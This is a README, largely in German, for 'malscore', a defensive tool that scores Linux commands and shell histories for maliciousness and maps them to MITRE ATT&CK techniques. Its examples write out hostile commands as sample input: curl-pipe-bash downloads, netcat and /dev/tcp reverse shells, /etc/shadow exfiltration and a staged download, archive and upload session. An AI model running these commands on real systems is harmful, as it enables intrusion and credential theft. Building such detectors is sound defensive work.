
Bösartigkeitsbewertung für Linux-Befehle
malscore nimmt eine Linux-Kommandozeile oder eine Sitzung von Befehlen, etwa
eine Shell-History, entgegen und liefert einen Maliciousness-Score von 0–100
mit einem Verdict-Band und einer MITRE-ATT&CK-Zuordnung zurück:
command(s) → features → signals → score + MITRE mapping
Es führt niemals etwas aus, erweitert oder löst nichts auf — es liest nur den Text
(durchgesetzt durch tests/test_safety.py). Es hat keine Abhängigkeiten außer der Python-
Standardbibliothek (3.8+).
pip install malscore # provides the `malscore` command
Aus einem Quellcode-Checkout:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) redigiert wie Anmeldedaten aussehende Werte, bevor ein Befehlstext zurückgegeben wird; die Bewertungen bleiben davon unberührt.
Beispiele:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
In einer Sitzungsdatei ist jede nicht leere Zeile ein Befehl, wörtlich genommen: Es
gibt keine Behandlung von Kommentaren, Zeilenfortsetzungen oder Here-Dokumenten. --batch ist
anders: Es bewertet jeden Befehl eines JSON-Feeds unabhängig, ohne
befehlübergreifende Analyse.
| Punktzahl | Urteil | Bedeutung |
|---|---|---|
| 80–100 | critical | Die Form ist selten legitim (Reverse Shell, Festplattenlöschung, uid‑0-Konto) |
| 60–79 | high | Starke Hinweise; zeitnah prüfen |
| 35–59 | medium | In den meisten Kontexten verdächtig (curl‑pipe‑shell, Shadow-Lesen) |
| 15–34 | low | In Kombination erwähnenswert |
| 0–14 | benign | Routine |
Die Bänder und Gewichte sind ein handabgestimmter Ausgangspunkt, kein trainiertes Modell — jeder Punkt der Bewertung lässt sich auf ein benanntes Signal und eine MITRE-ATT&CK-Technik zurückführen.
sudo/env/xargs werden entpackt, Substitutionen und -c-Nutzlasten
werden durchdrungen, und deterministische Merkmale werden berechnet — Download-
Ketten, berührte Pfade, Persistenz-Oberflächen, Kodierungstricks und eine
tradecraft-Gruppe (malscore/tradecraft.py), die spezifische
Angreifertechniken anhand ihrer Form erkennt.malscore/signals.py ist ein Katalog von ~120 benannten Signalen: ein
Prädikat über den Merkmalsdatensatz, ein Gewicht in (0, 1], eine MITRE-Taktik und
Technik-IDs. Ein Gewicht ist zu lesen als „wie wahrscheinlich ist dies feindlich, wenn
es das Einzige wäre, was wir wüssten". Der Katalog umfasst, nach ATT&CK-Taktik:
/proc/self/fd;/etc/shadow und private Schlüssel, Cloud-Metadaten,
Suche nach Anmeldedaten-Schlüsselwörtern über Konfigurationsdateien, Lesen von .pgpass/.netrc/
Cloud-Anmeldedatendateien, Auslesen von Umgebung und Verlauf, SSH-Agent-Hijacking;sudo -u#-1-
Bypass, PATH-Hijacks;/proc-Bind-Mount-Verstecken;DROP TABLE, massenhafte Prozessbeendigungen.